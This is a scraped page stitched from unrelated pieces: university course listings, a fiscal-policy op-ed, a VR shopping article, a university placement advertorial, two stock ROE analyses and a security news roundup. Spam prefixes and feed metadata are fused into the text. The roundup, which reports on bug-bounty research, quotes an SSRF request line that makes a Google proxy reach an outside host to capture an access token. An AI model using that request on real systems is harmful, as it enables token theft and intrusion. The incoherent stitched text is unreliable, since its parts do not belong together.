This course moves beyond the fundamentals of GIS to explore the application of GIS technology to environmental monitoring and resource management issues. Students learn graphic modeling techniques, network analysis, 3D visualization, geodatabase construction and management, and multivariate spatial analysis.
Credits: 3.0
Lec-Rec-Lab: (2-0-3)
Semesters Offered: Spring
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Pre-Requisite(s): FW 5550
FW 5556 - GIS Project Management
Course provides exposure to data collection techniques, web mapping applications, and advanced database structures. Students will investigate GIS system design, GIS project planning and data management, learn map atlas creation and cartographic techniques, and discuss geospatial ethics.
Credits: 3.0
Lec-Rec-Lab: (1-0-4)
Semesters Offered: Spring
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Pre-Requisite(s): FW 5550
FW 5560 - Digital Image Processing: A Remote Sensing Perspective
Presents the theory and quantitative procedures of digital image processing using remotely sensed data. Emphasizes image acquisition, preprocessing, enhancement, transformation classification techniques, accuracy assessment, and out-products. Discusses linkages to GIS. Also covers evaluating applications of the technology to current resource management problems via peer-reviewed literature.
Credits: 3.0
Lec-Rec-Lab: (2-0-1)
Semesters Offered: Spring, in even years
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Geological and Mining Engineering and Sciences
GE 5150 - Advanced Natural Hazards
Exploration of how to develop comprehensive plans to mitigate the impact of natural hazards on humans. Requires a project and report.
Credits: 3.0
Lec-Rec-Lab: (2-0-3)
Semesters Offered: On Demand
Restrictions: Must be enrolled in one of the following Level(s): Graduate
GE 5195 - Volcano Seismology
Will prepare students, including those with no seismology background, to interpret seismic and acoustic signals from volcanoes. Topics: basic seismology, monitoring techniques, tectonic and volcanic earthquakes, infrasound, deformation over a range of time scales.
Credits: 3.0
Lec-Rec-Lab: (2-0-1)
Semesters Offered: Spring, in odd years
Pre-Requisite(s): (MA 1160 or MA 1161 or MA 1121 or MA 1135) and GE 2000 and PH 2100
GE 5515 - Advanced Geoinformatics
This course covers the concepts and theories in geospatial science, GIS analysis techniques (network analysis, cost distance analysis, multi-layer raster data analysis), and remote sensing theories and applications across different spectra. Basic concepts and techniques associated with geostatistics, and analysis of spatial relationships are also introduced using examples in geophysical and environmental research.
Credits: 3.0
Lec-Rec-Lab: (2-0-2)
Semesters Offered: Spring
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
GE 5600 - Advanced Reflection Seismology
Principles and application of reflection seismic techniques. Includes acquisition, data processing, and 2D/3D data interpretation. Project and report required.
Credits: 3.0
Lec-Rec-Lab: (2-1-0)
Semesters Offered: On Demand
Restrictions: Must be enrolled in one of the following Level(s): Graduate
GE 5870 - Geostatistics & Data Analysis
This course covers the handling of spatial and temporal data for knowledge discovery. Major courses include spatial interpolation, clustering, association analysis, and supervised and unsupervised classification. Students will learn how to use geostatistical and pattern recognition tools for geoscience applications.
Credits: 3.0
Lec-Rec-Lab: (2-0-1)
Semesters Offered: Fall, Spring
Pre-Requisite(s): GE 3250
Mathematics
MA 4330 - Linear Algebra
A study of fundamental ideas in linear algebra and its applications. Includes review of basic operations, block computations; eigensystems of normal matrices; canonical forms and factorizations; singular value decompositions, pseudo inverses, least-square applications; matrix exponentials and linear systems of ODEs; quadratic forms, extremal properties, and bilinear forms.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): (MA 2320 or MA 2321 or MA 2330) and MA 3160
MA 4720 - Design and Analysis of Experiments
Covers construction and analysis of completely randomized, randomized block, incomplete block, Latin squares, factorial, fractional factorial, nested and split-plot designs. Also examines fixed, random and mixed effects models and multiple comparisons and contrasts. The SAS statistical package is an integral part of the course.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring, Summer
Pre-Requisite(s): MA 2710 or MA 2720 or MA 3710 or MA 3715 or MA 5701
MA 5201 - Combinatorial Algorithms
Basic algorithmic and computational methods used in the solution of fundamental combinatorial problems. courses may include but are not limited to backtracking, hill-climbing, combinatorial optimization, linear and integer programming, and network analysis.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, in even years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
MA 5221 - Graph Theory
Review of basic graph theory followed by one or more advanced courses which may include topological graph theory, algebraic graph theory, graph decomposition or graph coloring.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): MA 5301 or MA 4209
MA 5627 - Numerical Linear Algebra
Design and analysis of algorithms for problems in linear algebra. Covers floating point arithmetic, condition numbers, error analysis, solution of linear systems (direct and iterative methods), eigenvalue problems, least squares, and singular value decomposition. Includes the use of appropriate software including high performance computational libraries.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): MA 4330 or MA 4630
MA 5630 - Numerical Optimization
Numerical solution of unconstrained and constrained optimization problems and nonlinear equations. courses include optimality conditions, local convergence of Newton and Quasi-Newton methods, line search and trust region globalization techniques, quadratic penalty and augmented Lagrangian methods for equality-constrained problems, logarithmic barrier method for inequality-constrained problems, and Sequential Quadratic Programming.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring, in odd years
Pre-Requisite(s): MA 4330 or MA 4610 or MA 4630 or MA 5627
MA 5701 - Statistical Methods
Introduction to design, conduct, and analysis of statistical studies, with an introduction to statistical computing and preparation of statistical reports. courses include design, descriptive, and graphical methods, probability models, parameter estimation and hypothesis testing.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring, Summer
Restrictions: Must be enrolled in one of the following Level(s): Graduate
MA 5741 - Multivariate Statistical Methods
Random vectors and matrix algebra. Multivariate Normal distribution. Theory and application of multivariate techniques including discrimination and classification, clustering, principal components, canonical correlation, and factor analysis.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): (MA 4710 or MA 4720) and MA 2320
MA 5750 - Statistical Genetics
Application of statistical methods to solve problems in genetics such as locating genes. courses include basic concepts of genetics, linkage analysis and association studies of family data, association tests based on population samples (for both qualitative and quantitative traits), gene mapping methods based on family data and population samples.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring, in even years
MA 5761 - Computational Statistics
Introduction to computationally intensive statistical methods. courses include resampling methods, Monte Carlo simulation methods, smoothing technique to estimate functions, and methods to explore data structure. This course will use the statistical software R.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): MA 4770(C) or (MA 4700 and MA 5701)
MA 5791 - Categorical Data Analysis
Structure of 2-way contingency tables. Goodness-of-fit tests and Fisher's exact test for categorical data. Fitting models, including logistic regression, logit models, probit and extreme value models for binary response variables. Building and applying log linear models for contingency tables.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring, in even years
Mechanical Engineering-Engineering Mechanics
MEEM 5010 - Professional Engineering Communication
Course introduces graduate students to conventions of professional engineering communication such as composing technical documents and working effectively in teams. Students will practice creating effective visuals for reports and slides and develop and deliver presentations.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring, Summer
Pre-Requisite(s): MEEM 4901(C) or ENT 4950(C) or Graduate Status >= 1
Physics
PH 4390 - Computational Methods in Physics
An overview of numerical and computer methods to analyze and visualize physics problems in mechanics, electromagnetism, and quantum mechanics. Utility and potential pitfalls of these methods, basic concepts of programming, UNIX computing environment, system libraries and computer graphics are included.
Credits: 3.0
Lec-Rec-Lab: (2-0-3)
Semesters Offered: Fall
Pre-Requisite(s): PH 2020 and PH 3410
Social Sciences
SS 5005 - Introduction to Agent Based Modeling
An introduction to computational methods for the social sciences. The course provides an introduction to complexity theory and Agent-Based Modeling. Students will apply what they have learned in this course to develop a pilot simulation to understand any social phenomena of their choosing.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, in even years
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore
Applied Computing
SAT 5001 - Introduction to Health Informatics
Course covers fundamental subjects such as medical decision support systems, telemedicine, medical ethics and biostatistics. courses include consumer health informatics, international health care systems, global health informatics, translational research informatics and homecare. Students will see medical informatics from diverse perspectives. Scientific writing and communication will be encouraged.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore
SAT 5141 - Clinical Support Modeling
Course addresses complex medical decisions, evidence-based medicine, disease management and comprehensive laboratory informatics. courses include improving physical order entry and healthcare, using medical literature, clinical case discussions, meaningful use of medical data, enhancing patient and care-giver education, disease prevention, and public health and environmental health informatics.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): SAT 5114
SAT 5165 - Introduction to Big Data Analytics
Course will cover concepts and techniques used to analyze big data. We will cover the most important big data processing frameworks (e.g. Hadoop, spark) and GPU techniques. The students will acquire the knowledge of Hadoop architecture, MapReduce, Spark and the capability of programming to analyze big data.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring
Restrictions: Permission of instructor required; Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): SAT 4650
SAT 5283 - Information Governance and Risk Management
Course will consist of the legal and regulatory requirements and security privacy concept principles regarding data management. Best practices of how organizations manage information risk through risk assessment practices and procedures will be conducted.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, in odd years
Restrictions: Must be enrolled in one of the following College(s): College of Computing, College of Engineering, College of Business
SAT 5424 - Population Health Informatics
This course explores the foundations of population health informatics, including information architecture, data standards and confidentiality. We will examine key concepts related to registries, electronic health records, epidemiological databases, biosurveillance, health promotion, and quality reporting in population health management.
Credits: 3.0
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): SAT 5001 and SAT 5114
SU 5010 - Geospatial Concepts, Technologies, and Data
High-level review of geospatial data acquisition systems, sensors and associated processing technologies. Course considers geospatial metadata generation principles, interoperability, and major tools for manipulation with geospatial data. Course may help in transition of non-geospatial majors to geospatial field.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Restrictions: Must be enrolled in one of the following Major(s): Integrated Geospatial Tech, Surveying Engineering, Geospatial Engineering
Co-Op
UN 5000 - Graduate Cooperative Education I
Credits may count as free or technical electives based on academic department. Requires advisor approval, good conduct and academic standing, registration with Career Services, and an official offer letter from the employer.
Credits: variable to 2.0; May be repeated
Semesters Offered: Fall, Spring, Summer
Restrictions: Permission of department required; Must be enrolled in one of the following Level(s): Graduate
Sample Schedules
"The best parts of Computing[MTU] are the quality of the coursework and the helpful nature of the professors."
Thu, 12 May 2022 01:56:00 -0500entext/htmlhttps://www.mtu.edu/data-science/programs/masters/Killexams : Fiscal Policy Should Return to Fundamentals
The longstanding argument that go-go Keynesian fiscal stimulus is the answer to every imaginable economic shock has been exposed as bankrupt. Nevertheless, readjustment of both monetary and fiscal policy needs to take place gradually if we are to avoid an epic recession.
CAMBRIDGE – latest large interest-rate hikes by the US Federal Reserve and the European Central Bank suggest that monetary policymakers are intent on moving forcefully to bring down inflation. But where are the scores of economic commentators who for years have been arguing that fiscal policy – usually meaning deficit spending – needs to play a much more active role in managing business cycles? If it really makes sense to use both monetary and fiscal policy to counter a routine downturn, why are central banks suddenly on their own in attempting to engineer a soft landing with inflation at a four-decade high?
Before the 2008 global financial crisis, the consensus was that monetary policy should take the lead in dealing with ordinary business cycles. Fiscal policy should play a supporting role, except in the event of wars and natural catastrophes such as pandemics. When systemic financial crises occurred, the thinking went, monetary policy could respond immediately but fiscal policy should quickly follow and take the lead over time. Taxation and government expenditure are intensely political, but successful economies could navigate this problem in emergencies.
Over the past decade, however, the view that fiscal policy should also play a more dominant macroeconomic stabilization role in normal times has gained increasing traction. This shift was influenced by the fact that central bank interest rates ran up against the zero-interest-rate bound. (Some, including me, believe that this argument ignores relatively simple and effective options for cutting rates below zero, but I will not take that up here.) But the zero bound was by no means the entire argument.
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Sun, 31 Jul 2022 12:01:00 -0500entext/htmlhttps://www.project-syndicate.org/commentary/fiscal-policy-too-political-to-manage-business-cycles-by-kenneth-rogoff-2022-08?barrier=accesspaylogKillexams : VR Metaverse Driving Innovation in Games, Shopping and More
The book and 2018 film Ready Player One depicted a world in the near future where people escape dreary real life by immersing themselves in a virtual reality world called The Oasis. Facebook’s latest announcement of its rebranding as Meta and its planned creation of the Metaverse suggests that the equivalent of The Oasis is coming, leaving us to wonder how all of this will turn out.
With the shopping season upon us, industry analyst Brittain Ladd, who serves on the advisory board for George Mason University’s Center for Retail Transformation has some ideas for how shopping in an immersive virtual reality will look.
“I think websites are stone age,” Ladd said. “I am amazed today that we still have to go to a website to shop. In the VR world, you are entering a store. You are putting these products on a counter and checking out.”
This is important because such stores can be more engaging to shoppers than a flat 2-D web page. One of Brittain’s test subjects wanted to buy Italian food products, for example. “We wanted to deliver the customer the ability to stand in a store in Italy because they were looking for Italian food,” he explained. “When they looked out the window, they literally saw Italy.”
And why should retailers pay the expense of developing an immersive virtual store that whisks shoppers to far-away countries? Because when they do that, the shoppers become motivated to spend more money in those stores, Brittain reports. “They not only shop for Italian products, but they wanted to buy even more.”
Conversely, if VR stores in the metaverse offer only the same old products that consumers can buy locally, then shoppers will visit a couple times for the novelty and then return to their usual physical stores, according to Brittain. “They only would want to do if they are not seeing anything other than the products they already see,” he said.
Meta
Where better to find the best baklava than in Greece?
The Metaverse also provides a venue for seasonal holiday stores other than the vacant spots in the local mall. In this case, a Christmas store could not only offer seasonal products, but it could let visitors experience Santa’s workshop or meet St. Nick himself. “For Christmas, why not tell the story of Christmas and immerse people in the North Pole,” Brittain asked. “You could even let them meet Santa and Mrs. Claus. We have the ability to create lifelike people who are avatars.”
A potential obstacle to the adoption of VR and immersion is the clunkiness of wearing a VR headset. This is where engineering innovation is needed to lower the barrier to use by more people, Brittain said. “These headsets have to progress to the point that it is easier for the consumer to wear them or to not have to wear a headset. Multiple startups are working on new ways of providing a VR experience that doesn’t necessarily require a headset.”
One solution could be to use a combination of glasses and wireless earbuds, or potentially it could work using an iPad or Microsoft Surface while wearing 3D glasses. “One idea that is interesting is the concept of being able to use a TV. It would leverage television and wearing the glasses almost like the 3D glasses like people wore (in movie theaters) in the ‘50s.”
The industry would also need to ensure that prospective customers understand that while the images of the products on the virtual shelves are simulations, that the products they are buying are real physical objects that will be delivered to them. And those products will need to be delivered quickly if Metaverse stores want to compete with local stores. “The thing that will need to develop is the supply chain,” Brittain noted.
Meta
Biking against opponents is more motivational when they are rendered as avatars.
As we find our way to the eventual Oasis, there will be stumbles and missteps. Think of the variety of failed MP3 players before Apple created the iTunes ecosystem in support of the iPod and iPhone. And the siloed dial-up services like Prodigy, CompuServe, and America Online that were crushed by the emergence of the internet from its background as a network for defense agencies and universities.
This likely foreshadows metaverse developments that will be spearheaded by national security agencies seeking digital high ground in this new frontier, according to Brittain. “All intelligence agencies are actively exploring how to they become experts in the metaverse and virtual reality,” he said. “ARPA created the internet. If anything, I think the DOD is going to form many more partnerships with more startups early. The Pentagon knows they can’t wait.”
In that respect, Ready Player One may have been even more prescient than we realize, considering that The Oasis VR gaming platform became the site of the decisive battle at the end of the film.
Thu, 07 Jul 2022 12:00:00 -0500entext/htmlhttps://www.designnews.com/electronics/vr-metaverse-driving-innovation-games-shopping-and-moreKillexams : LPU graduate bags a whopping 3 Crore package, attributes his success to strong fundamentals received at LPULPU’s Class of 2018 graduate Yasir M. has created a new placement record by getting a grand placement package of INR 3 Crore. Yasir, who hails from Kerala, was a B.Tech CSE graduate at Lovely Professional University. He will be working for a world-renowned multinational company at a whopping package of Rs. 3 crores. Yasir did not pursue any other degree after graduating from LPU and attributes this success to the strong fundamentals that he got while studying at the LPU campus. While at LPU, he has always emerged as a bright student and completed his B.Tech in Computer Science with an 8.6 CGPA. Yasir has also been part of numerous hackathons and other technical events at the campus and has won most of them. “While I was at LPU, I got exposed to new age technology like AI, ML and also made friends from all across the world. This exposure and mentorship of the faculty has helped me to be prepared for a grand role, and I am delighted that I made not my parents but the whole university and India proud by getting such a huge opportunity to work in Germany,” said elated Yasir.
It’s not just Yasir who got such a mighty job offer after graduating from LPU. Thousands of other LPU alumni also work at packages of 1 crore and above in Fortune 500 companies spread across the globe, like Google, Apple, Microsoft, and Mercedes, among others.
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Recently, LPU B.Tech. graduate Harekrishna Mahto joined Google’s Bangalore office in 2022 with a whacking package of INR 64 Lakhs, which is also one of the highest packages received by any young graduate.
Listen to what Hare Krishna has to say about the university:
Clearly, LPU possesses an incomparable placement record that emerges from the university’s consistency towards academic excellence, an unending flow of opportunities for students, and impeccable placement support to assist and guide students. This year, LPU has set one of the highest placement records as its student Arjun has been placed at a package of 63 lakhs straight from their campus placement drive. This is one of the highest-ever packages received by any engineering fresher countrywide.
Listen to what Arjun has to say about his university:
Also, not just a handful of students, but as many as 431 students of LPU’s fresh 2021,22 batches have been placed at packages worth 10 LPA and above. Not only this, marquee recruiters have recruited a large number of students at differential packages of up to 10 lakhs. Top companies that recruited one of the highest numbers of LPU freshers include Cognizant, which recruited 670+ LPU students; Capgemini, which recruited 310+ students; Wipro, which recruited 310+ students; MPhasis, which recruited 210+ students; and Accenture, which recruited 150+ students, among other industry giants. In latest years, more than 20,000 placements/internships have been offered to LPU students by top recruiters. Several of the Fortune 500 companies have extended more than 5000 offers.
Such meritorious stories explain how with time, LPU has emerged as one of the top institutes in India to yield such incredible placement records year after year.
Having been ranked 74th globally by the prestigious Times Higher Education Impact Rankings 2022, LPU delivers excellent education and placement support to young minds from India and across the world. Some other aspects to consider LPU for pursuing education are the state-of-the-art campus tie-ups with 300+ universities and students hailing from 28 Indian states and 50+ countries in a single establishment.
Admission to LPU for the 2022 intake is closing soon. To know more about the exam & admission process, students can visit here.
Disclaimer: This article has been produced on behalf of LPU by Times Internet’s Spotlight team. Mon, 25 Jul 2022 21:37:00 -0500text/htmlhttps://timesofindia.indiatimes.com/spotlight/lpu-graduate-bags-a-whopping-3-crore-package-attributes-his-success-to-strong-fundamentals-received-at-lpu/articleshow/93133993.cmsKillexams : Is Universal Display Corporation's (NASDAQ:OLED) latest Stock Performance Tethered To Its Strong Fundamentals?
Universal Display (NASDAQ:OLED) has had a great run on the share market with its stock up by a significant 18% over the last month. Since the market usually pay for a company’s long-term fundamentals, we decided to study the company’s key performance indicators to see if they could be influencing the market. In this article, we decided to focus on Universal Display's ROE.
Return on Equity or ROE is a test of how effectively a company is growing its value and managing investors’ money. Simply put, it is used to assess the profitability of a company in relation to its equity capital.
Return on Equity = Net Profit (from continuing operations) ÷ Shareholders' Equity
So, based on the above formula, the ROE for Universal Display is:
16% = US$182m ÷ US$1.1b (Based on the trailing twelve months to March 2022).
The 'return' is the yearly profit. Another way to think of that is that for every $1 worth of equity, the company was able to earn $0.16 in profit.
What Has ROE Got To Do With Earnings Growth?
We have already established that ROE serves as an efficient profit-generating gauge for a company's future earnings. Depending on how much of these profits the company reinvests or "retains", and how effectively it does so, we are then able to assess a company’s earnings growth potential. Generally speaking, other things being equal, firms with a high return on equity and profit retention, have a higher growth rate than firms that don’t share these attributes.
Universal Display's Earnings Growth And 16% ROE
To start with, Universal Display's ROE looks acceptable. And on comparing with the industry, we found that the the average industry ROE is similar at 19%. Consequently, this likely laid the ground for the impressive net income growth of 20% seen over the past five years by Universal Display. However, there could also be other drivers behind this growth. For example, it is possible that the company's management has made some good strategic decisions, or that the company has a low payout ratio.
Next, on comparing Universal Display's net income growth with the industry, we found that the company's reported growth is similar to the industry average growth rate of 24% in the same period.
past-earnings-growth
Earnings growth is a huge factor in stock valuation. What investors need to determine next is if the expected earnings growth, or the lack of it, is already built into the share price. This then helps them determine if the stock is placed for a bright or bleak future. What is OLED worth today? The intrinsic value infographic in our free research report helps visualize whether OLED is currently mispriced by the market.
Is Universal Display Making Efficient Use Of Its Profits?
Universal Display's ' three-year median payout ratio is on the lower side at 19% implying that it is retaining a higher percentage (81%) of its profits. This suggests that the management is reinvesting most of the profits to grow the business as evidenced by the growth seen by the company.
Besides, Universal Display has been paying dividends over a period of five years. This shows that the company is committed to sharing profits with its shareholders. Our latest analyst data shows that the future payout ratio of the company over the next three years is expected to be approximately 20%. Therefore, the company's future ROE is also not expected to change by much with analysts predicting an ROE of 18%.
Conclusion
On the whole, we feel that Universal Display's performance has been quite good. Specifically, we like that the company is reinvesting a huge chunk of its profits at a high rate of return. This of course has caused the company to see substantial growth in its earnings. We also studied the latest analyst forecasts and found that the company's earnings growth is expected be similar to its current growth rate. Are these analysts expectations based on the broad expectations for the industry, or on the company's fundamentals? Click here to be taken to our analyst's forecasts page for the company.
Have feedback on this article? Concerned about the content?Get in touchwith us directly.Alternatively, email editorial-team (at) simplywallst.com.
This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.
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Thu, 04 Aug 2022 00:46:00 -0500en-UStext/htmlhttps://finance.yahoo.com/news/universal-display-corporations-nasdaq-oled-104615450.htmlKillexams : Lakeland Industries, Inc. (NASDAQ:LAKE) Stock's Been Sliding But Fundamentals Look Decent: Will The Market Correct The Share Price In The Future?
It is hard to get excited after looking at Lakeland Industries' (NASDAQ:LAKE) latest performance, when its stock has declined 7.1% over the past three months. But if you pay close attention, you might find that its key financial indicators look quite decent, which could mean that the stock could potentially rise in the long-term given how markets usually reward more resilient long-term fundamentals. In this article, we decided to focus on Lakeland Industries' ROE.
Return on equity or ROE is an important factor to be considered by a shareholder because it tells them how effectively their capital is being reinvested. In simpler terms, it measures the profitability of a company in relation to shareholder's equity.
Return on Equity = Net Profit (from continuing operations) ÷ Shareholders' Equity
So, based on the above formula, the ROE for Lakeland Industries is:
6.0% = US$7.5m ÷ US$125m (Based on the trailing twelve months to April 2022).
The 'return' is the income the business earned over the last year. One way to conceptualize this is that for each $1 of shareholders' capital it has, the company made $0.06 in profit.
Why Is ROE Important For Earnings Growth?
So far, we've learned that ROE is a measure of a company's profitability. Based on how much of its profits the company chooses to reinvest or "retain", we are then able to evaluate a company's future ability to generate profits. Generally speaking, other things being equal, firms with a high return on equity and profit retention, have a higher growth rate than firms that don’t share these attributes.
A Side By Side comparison of Lakeland Industries' Earnings Growth And 6.0% ROE
On the face of it, Lakeland Industries' ROE is not much to talk about. Next, when compared to the average industry ROE of 22%, the company's ROE leaves us feeling even less enthusiastic. Despite this, surprisingly, Lakeland Industries saw an exceptional 46% net income growth over the past five years. Therefore, there could be other reasons behind this growth. For example, it is possible that the company's management has made some good strategic decisions, or that the company has a low payout ratio.
Next, on comparing with the industry net income growth, we found that Lakeland Industries' growth is quite high when compared to the industry average growth of 6.8% in the same period, which is great to see.
past-earnings-growth
The basis for attaching value to a company is, to a great extent, tied to its earnings growth. What investors need to determine next is if the expected earnings growth, or the lack of it, is already built into the share price. Doing so will help them establish if the stock's future looks promising or ominous. One good indicator of expected earnings growth is the P/E ratio which determines the price the market is willing to pay for a stock based on its earnings prospects. So, you may want to check if Lakeland Industries is trading on a high P/E or a low P/E, relative to its industry.
Is Lakeland Industries Using Its Retained Earnings Effectively?
Lakeland Industries doesn't pay any dividend currently which essentially means that it has been reinvesting all of its profits into the business. This definitely contributes to the high earnings growth number that we discussed above.
Summary
Overall, we feel that Lakeland Industries certainly does have some positive factors to consider. With a high rate of reinvestment, albeit at a low ROE, the company has managed to see a considerable growth in its earnings. Having said that, the company's earnings growth is expected to slow down, as forecasted in the current analyst estimates. Are these analysts expectations based on the broad expectations for the industry, or on the company's fundamentals? Click here to be taken to our analyst's forecasts page for the company.
Have feedback on this article? Concerned about the content?Get in touchwith us directly.Alternatively, email editorial-team (at) simplywallst.com.
This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.
Join A Paid User Research Session You’ll receive a US$30 Amazon Gift card for 1 hour of your time while helping us build better investing tools for the individual investors like yourself. Sign up here
Mon, 01 Aug 2022 07:21:00 -0500en-UStext/htmlhttps://finance.yahoo.com/news/lakeland-industries-inc-nasdaq-lake-142843805.htmlKillexams : This Week In Security: Y2K22, Accidentally Blocking 911, And Bug Alert
If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!
Android 911 Denial of Service
Dialing 911 for emergency services is pretty much the worst time for a software bug to manifest itself. Google just fixed such a bug in the January Android update. It’s one of those odd unintended app interactions — in this case Microsoft Teams triggering the Android bug. If the Teams app is installed, but no account logged in, Teams creates and registers a new PhoneAccount object on every launch. This sounds like it should be rare, but Teams on Android is also notorious for logging out the user spontaneously. When you dial 911, Android runs a routine to determine which PhoneAccount should be used to route the call, and solves ties by comparing hashes. That comparison is just a naive subtraction, meaning that there’s a 50% chance in getting a negative result. This was unanticipated, leading to the crash.
Garage Door Reverse Engineering
Reverse engineering a 30-year-old wireless authorization scheme may not be the most attention grabbing feat, but sometimes the journey is its own reward. [Maxwell Dulin] brings us the story, and this journey is certainly worth it. The fundamentals of this hack are definitely still viable, starting with looking at the hardware. The garage door is synced to the garage door opener by holding a pushbutton on the receiver while sending a code. Inside the opener, there are nine dip switches, each with three positions. What do they do? He pulled out his trusty SDR to grab the traffic and try to decode the signals. Inspectrum and GNU Radio were the heroes here, giving insight into this simple auth scheme. The conclusion on this real garage door? You can brute force an unknown code by sending every possible combo, and it only takes 104 minutes.
BugAlert
If you’re a sysadmin, you know that some problems call for immediate action. If you ran Java servers, the Log4J vulnerability was a fire test of your response protocol. The time between public disclosure and whenever you heard about it, may have been enough to trigger disaster. While there are multiple bug reporting services and frameworks, nothing quite fits this niche use case: notifying you as soon as possible that your hair may truly be on fire. That unfilled niche bugged [Matthew Sullivan], who has announced a new project, Bug Alert. It’s all open source, so you can host your own instance if you really want to. You can opt to get a tweet, text, or even phone call. This has the potential to be a useful tool, take a look!
[David Schütz] was searching for obscure Google APIs, and discovered jobs.googleapis.com, which you can demo yourself. That demo is interesting, because it’s not a fully fleshed-out service, but talks to the real back-end. The requests go through a proxy, cxl-services.appspot.com, which handles the authentication step for the demo page. If he could trigger a Server-Side Request Forgery (SSRF), he might be able to get at the authenticated requests, and maybe trick the proxy into sending traffic on his behalf. URL parsing is hard. The trick that worked? A backslash in the url. GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1
With an access token in hand, [David] started carefully exploring other Google APIs to see what this token gave him access to. He gives the warning we’ve covered before, be careful how far you push. He could have reported the bug right away, but wanted to confirm that he actually had a live access token. After confirming the token worked for read access, he turned in the finding, and netted a very nice $3133.70, as well as an extra $1000 for a good report and the careful look at lateral movement. That’s all there is to it, right? Nope. Just before the 90 day disclosure deadline passed, [David] discovered a fix bypass. Adding any text between the backslash and @ was enough to break it. Another $3133.70. Just for fun, he probed the old URLs, that shouldn’t be in service after the fix. Yep, he found yet another security token, and netted $3133.70. This Zombie SSRF still isn’t dead, as evidenced on Twitter:
I told you, its unfixable! @n1nj4sec already bypassed the fix. So cool! Will you be the 4th one to bypass it and get $3k? 😎 Parsing a URL is really hard. pic.twitter.com/5xmg5tbybw
If you haven’t set your WordPress instance to update automatically, it’s time to go check for the latest version. There are four potentially dangerous issues here, though the details are scarce at this point. First up is a Cross-Site Scripting vulnerability in post slugs, the part of the URL that matches the post name. The second issue mentioned is object injection in some multisite configurations. The last two vulnerabilities are SQL injections, definitely worthy of the “What Year is It?” meme.